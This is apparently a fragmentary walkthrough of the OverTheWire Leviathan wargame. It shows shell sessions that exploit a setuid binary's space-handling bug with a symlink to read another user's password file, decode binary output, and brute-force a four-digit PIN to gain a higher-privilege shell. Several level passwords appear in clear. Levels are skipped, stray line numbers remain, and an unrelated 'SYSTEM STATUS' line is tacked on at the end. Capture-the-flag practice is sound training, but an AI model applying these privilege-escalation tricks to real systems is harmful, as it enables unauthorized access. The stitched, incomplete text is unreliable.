leviathan0@leviathan:~/.backup$ cat bookmarks.html | grep pass <DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password for leviathan1 is 3QJ3TgzHDq" ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1</A>
leviathan2 has a setuid binary printfile that prints
files — but it has a space-handling bug. If a filename contains a space,
it runs /bin/cat on each part separately. Create a symlink
to /etc/leviathan_pass/leviathan3 with a space in the
name.
1 2 3 4 5 6 7 8 9
leviathan2@leviathan:/tmp/tmp.YL8H9pOSiq$ ls -la total 1360 drwxrwxrwx 2 leviathan2 leviathan2 4096 Aug 7 12:42 . drwxrwx-wt 7322 root root 1384448 Aug 7 12:43 .. lrwxrwxrwx 1 leviathan2 leviathan2 30 Aug 7 12:42 tmp -> /etc/leviathan_pass/leviathan3 -rw-rw-r-- 1 leviathan2 leviathan2 0 Aug 7 12:42 t tmp
leviathan2@leviathan:/tmp/tmp.YL8H9pOSiq$ ~/printfile 't tmp' /bin/cat: t: No such file or directory
# Decode binary to ASCII leviathan4@leviathan:~/.trash$ ./bin | python3 -c "import sys; print(''.join(chr(int(b,2)) for b in sys.stdin.read().strip().split()))"
0dyxT7F4QD
level 5 → level 6
leviathan5 reads /tmp/file.log. Create a symlink to the
password file.
leviathan6@leviathan:~$ for i in $(seq 1000 9999); do ./leviathan6 $i 2>/dev/null | grep -v Wrong; done
$ id uid=12007(leviathan7) gid=12006(leviathan6) groups=12006(leviathan6) $ bash leviathan7@leviathan:~$ cat /etc/leviathan_pass/leviathan7
qEs5Io5yM8
level 7
1 2 3
leviathan7@leviathan:~$ cat CONGRATULATIONS Well Done, you seem to have used a *nix system before, now try something more serious. (Please don't post writeups, solutions or spoilers about the game on the web. Thank you!)
+++
SYSTEM STATUS: ACTIVEENCRYPTED SECTOR 7PRTS_TERMINAL_V2.0PROTOCOL: 0x2AENCRYPTED DATA STREAMSYSTEM: ONLINE